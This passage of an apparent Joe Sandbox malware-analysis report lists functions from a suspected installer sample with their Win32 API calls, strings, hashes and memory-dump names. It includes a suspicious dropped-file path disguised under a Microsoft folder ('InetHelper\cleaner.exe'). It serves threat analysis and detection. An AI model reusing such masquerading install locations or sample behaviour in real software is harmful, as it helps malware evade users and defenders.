Instruction ID: eb16fdd1ee542fe42bbdfa0ebba740301294627c6441dfc4cb46f4c2e9c1cdcc
Opcode Fuzzy Hash: 624626f4f5892e412f857cef7a92b39e94472dde615dcc0e6b59693489985feb
Instruction Fuzzy Hash: FF511A75D00219AEDF21DF95DA88AAEB775FF04304F50443BE905B72D0DBB89982CB18

Uniqueness

Uniqueness Score: -1.00%

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(0043E708,00402F08), ref: 004054AB
SetWindowTextW.USER32(0043E708,0043E708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d26779cd53d0e13026bfca991753509873890f78f21e0d47ba27efc3128bd531
Instruction ID: b152cc9d973ae9b63f3bddadd0b016ecede68a0b65af60167b2766ac6abf260a
Opcode Fuzzy Hash: d26779cd53d0e13026bfca991753509873890f78f21e0d47ba27efc3128bd531
Instruction Fuzzy Hash: 1721A171900518BADB119F96DD84ACFBFB5EF44314F10803AF904B22A1C7798A90CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(0043E708,00402F08), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(0043E708,0043E708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(00000000,00000064,0002E789), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 0fcb82c9706ea5302a04af69b33a80ab5dbc899856dcad255e9a620228d66a26
Instruction ID: 498445d7746695eb5746344947d7fa5b32a20b045a0bc4bf054171d5bd846382
Opcode Fuzzy Hash: 0fcb82c9706ea5302a04af69b33a80ab5dbc899856dcad255e9a620228d66a26
Instruction Fuzzy Hash: C901C4B0801614EBC7226B60FE4CA9B7B68BB00745B14013BF885F11E1CBB84855EFDE

Uniqueness

Uniqueness Score: -1.00%

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

unpacking data: %d%%, xrefs: 00402E33, 00402E43
verifying installer: %d%%, xrefs: 00402E3A

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 55259a99b3f005bd62bd1eee31106c216fd46ae3fbea56f5e47295bb88c76c71
Instruction ID: e56410310a72084f4d909e549713b6ef5e7faa8c618e51606751afd800fe69ca
Opcode Fuzzy Hash: 55259a99b3f005bd62bd1eee31106c216fd46ae3fbea56f5e47295bb88c76c71
Instruction Fuzzy Hash: 28F0317064020CABDF206F60DD4EBEE3B69EB40319F00803AFA45B51D0DBF999598F99

Uniqueness

Uniqueness Score: -1.00%

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 4dd5869cf8e01605dbba6f89003ab72911ed6556746709080781428bb81ff186
Instruction ID: cde632e975db2237da1c3b35629bcc1af8e7f74e244a4afe6fc019873d9bc44b
Opcode Fuzzy Hash: 4dd5869cf8e01605dbba6f89003ab72911ed6556746709080781428bb81ff186
Instruction Fuzzy Hash: D921BFB1C00124BBCF116FA5DE48D9E7E79EF09324F10023AF9647A2E1CB794D418B98

Uniqueness

Uniqueness Score: -1.00%

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00446728,00446728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00446728), ref: 00404CC9

Strings

(gD, xrefs: 00404C9F
%u.%u%s%s, xrefs: 00404C97

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(gD
API String ID: 3540041739-492854681
Opcode ID: 3064c8308b7509d1383c21e902e6820dcf1316d1410b3bc833d73e44a854a58c
Instruction ID: aaf23b967d3fcc40b536a7be4f54997d0d4b2484921d6e850771612597014f60
Opcode Fuzzy Hash: 3064c8308b7509d1383c21e902e6820dcf1316d1410b3bc833d73e44a854a58c
Instruction Fuzzy Hash: 4D11EB73A0412837EB00556DAC45EDF3288EB85374F264237FA66F31D1E979CC5282E8

Uniqueness

Uniqueness Score: -1.00%

Function 0040667C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,004D5000,004D5000,004C1000,00403480,004D5000,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,004D5000,004D5000,004C1000,00403480,004D5000,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,004D5000,004D5000,004C1000,00403480,004D5000,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Uniqueness

Uniqueness Score: -1.00%

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0041E5D8), ref: 00401E3E

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: d45f834d171d725afd91ae9bb128b8c3c7dbb3b90b3bde5971021a52cdcc4ac4
Instruction ID: f94ea66f3bb0d18877d48f50851b2a4d43bd5926543aaa07d49364debbc8af75
Opcode Fuzzy Hash: d45f834d171d725afd91ae9bb128b8c3c7dbb3b90b3bde5971021a52cdcc4ac4
Instruction Fuzzy Hash: A601B575A04240BFF7009BF5AE0A7D9BFB5AB55309F10847DF642B61E2D97840858F2D

Uniqueness

Uniqueness Score: -1.00%

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 82d477863e66f443ebd46b8e1e302b7a8e37783b84298c30bb4df0bf372e1380
Instruction ID: c4075bb9bfde8645d9c714665ee228779135434f852c8317c1fe236da41c92b1
Opcode Fuzzy Hash: 82d477863e66f443ebd46b8e1e302b7a8e37783b84298c30bb4df0bf372e1380
Instruction Fuzzy Hash: C0F0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D419B38

Uniqueness

Uniqueness Score: -1.00%

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 24084e1ee828c43313bede8142c405a0ca1b46cb638746800ee982a4d2c00c06
Instruction ID: 177e50295cc88f553b9a3067857c13a37c9039e473aa79b37457755941741264
Opcode Fuzzy Hash: 24084e1ee828c43313bede8142c405a0ca1b46cb638746800ee982a4d2c00c06
Instruction Fuzzy Hash: 97219371948209AEEF05DFB5DE4AABE7BB5EF84304F14443EF605B61D0D7B889809B18

Uniqueness

Uniqueness Score: -1.00%

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 4753812dcda77c43f10e8ae772257530cbd3706fb24bd1d76dbcd04b27752b45
Instruction ID: 93d8fc7429a3309a4d5f32771a2db5550657aa0780c74b0d1fda1c3346d9b8f3
Opcode Fuzzy Hash: 4753812dcda77c43f10e8ae772257530cbd3706fb24bd1d76dbcd04b27752b45
Instruction Fuzzy Hash: 2A01BC71100709ABDB205F01ED80BDB3A26EB9135AF604037FA00762E0C37A8CD29E6E

Uniqueness

Uniqueness Score: -1.00%

Function 004062B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00004000,00000002,0043E708,00000000,?,?,"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",?,?,0040652A,80000002), ref: 004062FC
RegCloseKey.ADVAPI32(?,?,0040652A,80000002,Software\Microsoft\Windows\CurrentVersion,"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe","C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe","C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",00000000,0043E708), ref: 00406307

Strings

"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe", xrefs: 004062BD

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: CloseQueryValue
String ID: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"
API String ID: 3356406503-1638566638
Opcode ID: 7e8f2b507172300fff4d18ea8023ba838134d56d13ff8a7450bb17b0ad457722
Instruction ID: 71396637bdf4209a45bd355f469bd078e3083f4a568c77181c36ba1a701e5b4c
Opcode Fuzzy Hash: 7e8f2b507172300fff4d18ea8023ba838134d56d13ff8a7450bb17b0ad457722
Instruction Fuzzy Hash: 2701BC7250020AEBDF218F55CD0AEDB3FA8EF54364F01403AFD16A2190E378DA24CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

